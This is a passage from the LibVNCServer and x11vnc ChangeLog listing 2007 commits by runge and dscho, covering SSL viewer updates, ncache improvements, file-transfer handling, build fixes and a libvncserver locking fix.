timeouts, port fallback, and connection time. 4028 40292007-08-19 runge <runge> 4030 4031 * x11vnc/README, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/x11vnc.1: 4032 malloc score_hint and make it shorts to save space. 4033 40342007-08-19 runge <runge> 4035 4036 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, 4037 x11vnc/keyboard.c, x11vnc/ssltools.h, x11vnc/user.c, 4038 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: better -xkb 4039 tie-breaking for up keystrokes. Add Xsrv/FD_XSRV custom server to 4040 FINDCREATEDISPLAY list. 4041 40422007-08-18 runge <runge> 4043 4044 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/solid.c, 4045 x11vnc/ssltools.h, x11vnc/user.c, x11vnc/x11vnc.1, 4046 x11vnc/x11vnc_defs.c: x11vnc: improve FINDCREATEDISPLAY (-create) 4047 script, FD_GEOM, FD_SESS, FD_OPTS, FD_PROG env vars, add Xvnc 4048 support 4049 40502007-08-16 runge <runge> 4051 4052 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/user.c, 4053 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: add reverse -connect 4054 support to -display WAIT:, fix SSL Fetch cert only for -display 4055 WAIT: 4056 40572007-08-14 dscho <dscho> 4058 4059 * AUTHORS, ChangeLog, libvncclient/rfbproto.c: LibVNCClient: if the 4060 GotRect hook is set, override default op. 4061 40622007-08-04 runge <runge> 4063 4064 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, 4065 x11vnc/options.h, x11vnc/remote.c, x11vnc/solid.c, x11vnc/tkx11vnc, 4066 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 4067 x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: -xrefresh, 4068 .DCOPserver bug, -unixpw_unsafe ignores SSH tunnel. 4069 40702007-08-04 runge <runge> 4071 4072 * libvncclient/vncviewer.c: argv > 0 doesn't make sense for a 4073 pointer; assuming argv != NULL. 4074 40752007-07-05 runge <runge> 4076 4077 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, 4078 x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/tkx11vnc, 4079 x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/x11vnc.1, 4080 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -debug_ncache, fix 4081 big fonts in tkx11vnc. 4082 40832007-07-05 runge <runge> 4084 4085 * configure.ac, prepare_x11vnc_dist.sh: configure.ac check for 4086 external system libvncserver version. set x11vnc version 0.9.3 4087 40882007-06-18 runge <runge> 4089 4090 * x11vnc/README, x11vnc/options.c, x11vnc/x11vnc.1, 4091 x11vnc/x11vnc_defs.c: x11vnc: set NCACHE -1 for release. 4092 40932007-06-15 runge <runge> 4094 4095 * ChangeLog, classes/ssl/ultra.vnc, classes/ssl/ultrasigned.vnc, 4096 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, configure.ac, 4097 x11vnc/ChangeLog, x11vnc/README, 4098 x11vnc/misc/enhanced_tightvnc_viewer/README, 4099 x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc 4100 viewer.sh, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 4101 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 4102 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4103 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 4104 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 4105 ll.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/scan.c, 4106 x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, 4107 x11vnc/xevents.c: x11vnc: fix build error if libssl is missing or 4108 --without-ssl supplied. 4109 41102007-05-27 runge <runge> 4111 4112 * 4113 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 4114 ll.patch: sync ssvnc unix viewer diffs; fix X cursor size. 4115 41162007-05-27 runge <runge> 4117 4118 * classes/ssl/ss_vncviewer, 4119 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 4120 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4121 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 4122 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 4123 ll.patch: update java viewer and ssvnc. 4124 41252007-05-27 runge <runge> 4126 4127 * configure.ac, x11vnc/README: configure.ac: fix x11vnc 4128 --with-system-libvncserver build and add -R link flag. 4129 41302007-05-27 runge <runge> 4131 4132 * libvncserver-config.in: Fix --libs, echo -n doesn't work 4133 everywhere. Question: why -R only for Solaris?? 4134 41352007-05-27 runge <runge> 4136 4137 * x11vnc/Makefile.am: clobbered x11vnc/Makefile.am by mistake. 4138 41392007-05-27 runge <runge> 4140 4141 * ChangeLog, Makefile.am, configure.ac, prepare_x11vnc_dist.sh, 4142 x11vnc/README: configure: make more of a split between libvncserver 4143 and x11vnc pkgs. 4144 41452007-05-26 runge <runge> 4146 4147 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, 4148 x11vnc/help.c, x11vnc/options.c, x11vnc/unixpw.c, x11vnc/x11vnc.1, 4149 x11vnc/x11vnc_defs.c: x11vnc: in -unixpw, initial Escape means no 4150 echo username. 4151 41522007-05-22 runge <runge> 4153 4154 * classes/ssl/ss_vncviewer: update regular SSL viewer jars; update 4155 ss_vncviewer script. 4156 41572007-05-22 runge <runge> 4158 4159 * x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 4160 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4161 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 4162 ll.patch: update ssvnc (SSVNC_EXTRA_SLEEP), and unix viewer (1/n 4163 menu and chat windows) 4164 41652007-05-22 runge <runge> 4166 4167 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, 4168 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: set 4169 things up (NCACHE = -1) to not have -ncache on by default. 4170 41712007-05-19 runge <runge> 4172 4173 * classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, 4174 libvncserver/rfbserver.c, x11vnc/README, x11vnc/x11vnc.1, 4175 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: More fixes to ultra java 4176 viewer, ultrafilexfer debugging output, fix -loop in .x11vncrc case. 4177 41782007-05-17 runge <runge> 4179 4180 * libvncserver/tightvnc-filetransfer/rfbtightserver.c: Pre-C99 4181 declaration error. 4182 41832007-05-17 runge <runge> 4184 4185 * libvncserver/rfbserver.c: In rfbSendFileTransferChunk() check 4186 permitFileTransfer 1st to avoid false alarms. 4187 41882007-05-16 runge <runge> 4189 4190 * prepare_x11vnc_dist.sh: Add UltraViewerSSL.jar, etc. to dist list. 4191 41922007-05-16 runge <runge> 4193 4194 * libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c, 4195 libvncserver/tightvnc-filetransfer/rfbtightserver.c: Add logging 4196 output to know when inside tightvnc-filetransfer functions. 4197 41982007-05-16 runge <runge> 4199 4200 * classes/ssl/Makefile.am, classes/ssl/README, 4201 classes/ssl/ss_vncviewer, classes/ssl/ultra.vnc, 4202 classes/ssl/ultrasigned.vnc, 4203 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Add SSL support 4204 to UltraVNC Java Viewer (has filetransfer gui). Fix UltraVNC bugs 4205 and improve FTP gui a bit. 4206 42072007-05-16 runge <runge> 4208 4209 * x11vnc/ChangeLog, x11vnc/README, 4210 x11vnc/misc/enhanced_tightvnc_viewer/README, 4211 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 4212 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4213 x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 4214 x11vnc/x11vnc_defs.c: ssvnc: SOCKS support, PORT=, Verify all Certs 4215 and accepted certs logging. x11vnc SSL debugging output. 4216 42172007-05-16 runge <runge> 4218 4219 * libvncserver/rfbserver.c: Drop client if UltraVNC filetransfer is 4220 not enabled. 4221 42222007-05-07 runge <runge> 4223 4224 * x11vnc/misc/enhanced_tightvnc_viewer/README, 4225 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 4226 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4227 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: ssvnc: 4228 Home dir changing, skip enc warning, memory stick doc. 4229 42302007-05-07 runge <runge> 4231 4232 * x11vnc/ChangeLog, x11vnc/README, x11vnc/options.c, 4233 x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, 4234 x11vnc/xevents.c: x11vnc: lower -wait and -defer to 20ms. Drop 4235 client doing ultravnc stuff in -unixpw during login phase. 4236 42372007-05-05 runge <runge> 4238 4239 * x11vnc/README, x11vnc/connections.c, x11vnc/help.c, 4240 x11vnc/remote.c, x11vnc/sslhelper.c, x11vnc/unixpw.c, 4241 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/xevents.c: filexfer 4242 warnings and messages. 4243 42442007-05-05 runge <runge> 4245 4246 * configure.ac, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, 4247 x11vnc/options.c, x11vnc/options.h, x11vnc/user.c, x11vnc/x11vnc.1, 4248 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: add 4249 groups handling for -users mode. 4250 42512007-05-04 runge <runge> 4252 4253 * x11vnc/README, x11vnc/help.c, x11vnc/ssltools.h, x11vnc/user.c, 4254 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: add WAITBG=1 env. 4255 var, add mwm to -create. 4256 42572007-05-01 runge <runge> 4258 4259 * classes/ssl/Makefile.am, classes/ssl/onetimekey, 4260 classes/ssl/ss_vncviewer, x11vnc/ChangeLog, x11vnc/README, 4261 x11vnc/connections.c, x11vnc/help.c, x11vnc/sslhelper.c, 4262 x11vnc/ssltools.h, x11vnc/user.c, x11vnc/x11vnc.1, 4263 x11vnc/x11vnc_defs.c: ssl: java viewer patches, onetimekey; x11vnc 4264 setsid/setpgrp and -cc 4 for -create 4265 42662007-04-28 runge <runge> 4267 4268 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 4269 x11vnc/help.c, x11vnc/misc/enhanced_tightvnc_viewer/README, 4270 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 4271 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 4272 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4273 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 4274 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 4275 ll.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/sslhelper.c, 4276 x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/user.c, 4277 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: 4278 -users sslpeer= option. RFB_SSL_CLIENT_CERT, -ncache 10 default 4279 42802007-04-19 runge <runge> 4281 4282 * prepare_x11vnc_dist.sh, x11vnc/README, x11vnc/x11vnc.1, 4283 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: set to next release 4284 (0.9.1) 4285 42862007-04-19 runge <runge> 4287 4288 * 4289 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 4290 ll.patch: Add latest vncviewer patch. 4291 42922007-04-19 runge <runge> 4293 4294 * x11vnc/misc/enhanced_tightvnc_viewer/README, 4295 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 4296 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4297 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/stunnel-server.conf, 4298 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: Sync with 4299 SSVNC 1.0.15 4300 43012007-04-18 runge <runge> 4302 4303 * x11vnc/README, x11vnc/userinput.c, x11vnc/x11vnc.1, 4304 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: small changes for 0.9 4305 release. 4306 43072007-04-08 runge <runge> 4308 4309 * prepare_x11vnc_dist.sh: change x11vnc version to 0.9 4310 43112007-04-07 dscho <dscho> 4312 4313 * configure.ac: prepare for release of LibVNCServer 0.9 4314 43152007-04-07 runge <runge> 4316 4317 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, 4318 x11vnc/ssltools.h, x11vnc/user.c, x11vnc/userinput.c, 4319 x11vnc/x11vnc.1: x11vnc: add gnome, kde, etc. FINDCREATEDISPLAY 4320 tags. 4321 43222007-04-07 runge <runge> 4323 4324 * classes/ssl/ss_vncviewer, 4325 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch: update 4326 viewer jars and ss script 4327 43282007-04-07 runge <runge> 4329 4330 * x11vnc/README, x11vnc/connections.c, x11vnc/help.c, 4331 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/v4l.c, 4332 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: java 4333 ingoreProxy, fix old libssl free_func problem 4334 43352007-04-06 dscho <dscho> 4336 4337 * AUTHORS, ChangeLog, rfb/rfbclient.h: rfbclient.h: use 'extern "C"' 4338 to make it convenient to include from C++ 4339 43402007-04-06 dscho <dscho> 4341 4342 * AUTHORS, ChangeLog, rfb/rfb.h: rfb.h: Do not misplace guards This buglet made it impossible to double include rfb.h from C++. 4343 43442007-03-30 dscho <dscho> 4345 4346 * prepare_x11vnc_dist.sh: build x11vnc with static libraries (at 4347 least for now) Maybe at a later stage, we want x11vnc to pick up on existing 4348 libvncserver.so and libvncclient.so, but right now, x11vnc and the 4349 libraries progress together (and thus it is better to build static, 4350 necessarily up-to-date libraries for x11vnc). 4351 43522007-03-30 dscho <dscho> 4353 4354 * AUTHORS, ChangeLog, acinclude.m4, client_examples/Makefile.am, 4355 configure.ac, contrib/Makefile.am, examples/Makefile.am, 4356 libvncclient/Makefile.am, libvncserver/Makefile.am, ltmain.sh, 4357 test/Makefile.am, vncterm/Makefile.am, x11vnc/Makefile.am: Build 4358 shared libraries per default Thanks to Guillaume Rousse, we now use libtool to build shared 4359 libraries. 4360 43612007-03-25 runge <runge> 4362 4363 * x11vnc/README, x11vnc/pm.c, x11vnc/scan.c, x11vnc/user.c, 4364 x11vnc/userinput.c, x11vnc/xevents.c: x11vnc: remove build errors, 4365 get -ncache working on macosx again. 4366 43672007-03-24 runge <runge> 4368 4369 * libvncserver/cursor.c: Fix short vs. char problem with X cursors. 4370 Have fg == bg == 0 imply interpolation to B&W. 4371 43722007-03-24 runge <runge> 4373 4374 * classes/ssl/ss_vncviewer, 4375 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch: reverse 4376 connections for ss_vncviewer. java one-time-keys. 4377 43782007-03-24 runge <runge> 4379 4380 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 4381 x11vnc/help.c, x11vnc/screen.c, x11vnc/sslhelper.c, 4382 x11vnc/sslhelper.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 4383 x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 4384 x11vnc/x11vnc_defs.c: x11vnc: reverse SSL connections. -sleepin 4385 option. 4386 43872007-03-24 runge <runge> 4388 4389 * x11vnc/misc/enhanced_tightvnc_viewer/README, 4390 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 4391 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4392 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 4393 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 4394 ll.patch: reverse (listening) VNC connections. 4395 43962007-03-20 runge <runge> 4397 4398 * x11vnc/misc/enhanced_tightvnc_viewer/README, 4399 x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, 4400 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4401 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 4402 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 4403 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 4404 ll.patch: ssvnc: sync to 1.0.13 release. 4405 44062007-03-20 runge <runge> 4407 4408 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c, 4409 x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, 4410 x11vnc/sslhelper.c, x11vnc/user.c, x11vnc/x11vnc.1, 4411 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -httpsredir, 4412 x11cursor fix, nc=N login opt, no -ncache betatest for java viewer. 4413 44142007-03-20 runge <runge> 4415 4416 * ChangeLog, libvncserver/httpd.c: Add "Connection: close" to HTTP 4417 replies. 4418 44192007-03-17 dscho <dscho> 4420 4421 * AUTHORS, ChangeLog, libvncserver/main.c, libvncserver/rfbserver.c: 4422 Fix a locking problem in libvncserver There seems to be a locking problem in libvncserver, with respect to 4423 how condition variables are used. On certain machines in our lab, when using a vncviewer to view a 4424 display that has a very high rate of updates, we will occasionally 4425 see the VNC server process crash. In one stack trace that was 4426 obtained, an assertion had tripped in glibc's pthread_cond_wait, 4427 which was called from clientOutput. Inspection of clientOutput suggests that WAIT is being called 4428 incorrectly. The mutex that protects a condition variable should 4429 always be locked when calling wait, and on return from the wait will 4430 still be locked. The attached patch fixes the locking around this 4431 condition variable, and one other that I found by grepping the 4432 source for similar occurrences. Signed-off-by: Charles Coffing <ccoffing@novell.com> 4433 44342007-03-13 runge <runge> 4435 4436 * 4437 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 4438 ll.patch: ssvnc: sync src/patches/tight-vncviewer-full.patch 4439 44402007-03-13 runge <runge> 4441 4442 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/scan.c, 4443 x11vnc/screen.c, x11vnc/solid.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 4444 x11vnc/x11vnc_defs.c: x11vnc: fix crash for kde dcop. limit ncache 4445 beta tester to 96MB viewers. 4446 44472007-02-19 runge <runge> 4448 4449 * x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, 4450 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 4451 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4452 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches, 4453 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 4454 ll.patch: ssvnc: more fixes for painting problems. 4455 44562007-02-19 runge <runge> 4457 4458 * x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 4459 x11vnc/x11vnc_defs.c: x11vnc: fix -users bob= in -inetd mode. 4460 44612007-02-19 runge <runge> 4462 4463 * x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 4464 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 4465 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 4466 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4467 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 4468 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 4469 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 4470 ll.patch: store 1.0.12 snapshot. 4471 44722007-02-19 runge <runge> 4473 4474 * x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, 4475 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: Get 4476 ultravnc textchat working with ssvnc. 4477 44782007-02-17 runge <runge> 4479 4480 * x11vnc/README, x11vnc/help.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1: 4481 x11vnc: make https fetch in accept_openssl() work again. 4482 44832007-02-16 runge <runge> 4484 4485 * x11vnc/ChangeLog, x11vnc/README, x11vnc/allowed_input_t.h, 4486 x11vnc/connections.c, x11vnc/help.c, x11vnc/keyboard.c, 4487 x11vnc/keyboard.h, x11vnc/remote.c, x11vnc/screen.c, 4488 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, 4489 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: add 4490 Files mode to user controlled input. more ultra/tight filexfer 4491 tweaks. rfbversion remote control. noncache/nc unixpw user opt. 4492 44932007-02-16 runge <runge> 4494 4495 * x11vnc/ChangeLog, x11vnc/README, x11vnc/avahi.c, 4496 x11vnc/connections.c, x11vnc/help.c, x11vnc/options.c, 4497 x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c, 4498 x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 4499 x11vnc/unixpw.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 4500 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: 4501 tightvnc filetransfer off by default. FINDCREATEDISPLAY geometry. 4502 45032007-02-12 runge <runge> 4504 4505 * configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am, 4506 x11vnc/README, x11vnc/avahi.c, x11vnc/avahi.h, x11vnc/cleanup.c, 4507 x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, 4508 x11vnc/screen.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, 4509 x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 4510 x11vnc/x11vnc_defs.c: x11vnc: add avahi (aka 4511 mDNS/Zeroconf/Bonjour...) support thanks to Diego Petteno. add -find 4512 -create 4513 45142007-02-12 runge <runge> 4515 4516 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 4517 x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, 4518 x11vnc/remote.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, 4519 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, 4520 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 4521 x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h, 4522 x11vnc/xwrappers.c: x11vnc: -grabalways, -forcedpms, -clientdpms, 4523 -noserverdpms, -loopbg, -svc, -xdmsvc 4524 45252007-02-10 runge <runge> 4526 4527 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 4528 x11vnc/pm.c, x11vnc/pm.h, x11vnc/pointer.c, x11vnc/pointer.h, 4529 x11vnc/scan.c, x11vnc/screen.c, x11vnc/ssltools.h, x11vnc/unixpw.c, 4530 x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h, x11vnc/userinput.c, 4531 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, 4532 x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: watch textchat, etc in 4533 unixpw, implement kbdReleaseAllKeys, setSingleWindow, 4534 setServerInput. watch for OpenGL apps breaking XDAMAGE. 4535 45362007-02-05 runge <runge> 4537 4538 * x11vnc/misc/enhanced_tightvnc_viewer/README, 4539 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 4540 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 4541 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4542 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 4543 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 4544 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 4545 ll.patch: ssvnc 1.0.11 files. 4546 45472007-02-05 runge <runge> 4548 4549 * prepare_x11vnc_dist.sh, x11vnc/README, x11vnc/x11vnc.1, 4550 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: Setup for x11vnc 0.8.5 4551 45522007-02-01 dscho <dscho> 4553 4554 * ChangeLog, libvncclient/rfbproto.c, libvncclient/vncviewer.c, 4555 rfb/rfbclient.h: LibVNCClient: some users do not want to get 4556 whole-screen updates; introduce client->updateRect for that 4557 45582007-02-01 dscho <dscho> 4559 4560 * libvncclient/zrle.c: sometimes zrle sends too many bytes; play 4561 safe 4562 45632007-01-31 runge <runge> 4564 4565 * x11vnc/README, x11vnc/keyboard.c, x11vnc/pointer.c, 4566 x11vnc/screen.c, x11vnc/solid.c, x11vnc/userinput.c, 4567 x11vnc/xdamage.c, x11vnc/xevents.c: fix warnings. 4568 45692007-01-31 runge <runge> 4570 4571 * ChangeLog: libvncclient changes. 4572 45732007-01-31 runge <runge> 4574 4575 * x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, 4576 x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c, 4577 x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosx.c, 4578 x11vnc/macosxCG.c, x11vnc/macosxCGS.c, 4579 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-ne 4580 wfbsize.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, 4581 x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, 4582 x11vnc/screen.h, x11vnc/solid.c, x11vnc/solid.h, x11vnc/ssltools.h, 4583 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, 4584 x11vnc/unixpw.h, x11vnc/user.c, x11vnc/userinput.c, x11vnc/util.c, 4585 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 4586 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h, 4587 x11vnc/xevents.c: x11vnc: -reflect, -N. -ncache, FINDDISPLAY, 4588 FINDCREATEDISPLAY, improvements. MODTWEAK_LOWEST workaround. 4589 45902007-01-31 runge <runge> 4591 4592 * Makefile.am, libvncclient/cursor.c, libvncclient/rfbproto.c, 4593 libvncclient/vncviewer.c, prepare_x11vnc_dist.sh, rfb/rfbclient.h: 4594 libvncclient: add GotCursorShape() and GotCopyRect(); x11vnc dep on 4595 libvncclient 4596 45972007-01-25 dscho <dscho> 4598 4599 * libvncserver/rfbserver.c: compile fix for MinGW 4600 46012007-01-25 dscho <dscho> 4602 4603 * VisualNaCro/Makefile.am: complain when SWIG is not present, but 4604 needed 4605 46062007-01-25 dscho <dscho> 4607 4608 * VisualNaCro/configure.ac: Complain if libvncserver-config was not 4609 found in PATH 4610 46112007-01-10 runge <runge> 4612 4613 * x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, 4614 x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/tkx11vnc, 4615 x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/userinput.h, 4616 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 4617 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xevents.c, 4618 x11vnc/xinerama.c, x11vnc/xrandr.h: some -ncache performance 4619 improvements, rootpixmap watching, gnome wm heuristics 4620 46212007-01-09 runge <runge> 4622 4623 * x11vnc/README, x11vnc/userinput.c, x11vnc/x11vnc.1, 4624 x11vnc/x11vnc_defs.c: Fix old compiler error; fix warnings. 4625 46262007-01-09 runge <runge> 4627 4628 * x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, 4629 x11vnc/remote.c, x11vnc/screen.c, x11vnc/solid.c, x11vnc/solid.h, 4630 x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 4631 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c: more speed and accuracy 4632 improvements to -ncache mode. 4633 46342007-01-07 runge <runge> 4635 4636 * x11vnc/README, x11vnc/options.c, x11vnc/userinput.c, 4637 x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.h, 4638 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c: changes to ncache cache 4639 aging and xdamage skipping 4640 46412007-01-04 runge <runge> 4642 4643 * x11vnc/ChangeLog, x11vnc/README, x11vnc/userinput.c, 4644 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, 4645 x11vnc/xdamage.c: x11vnc: more -ncache improvements. 4646 46472007-01-02 runge <runge> 4648 4649 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, 4650 x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, 4651 x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 4652 x11vnc/user.c, x11vnc/userinput.c, 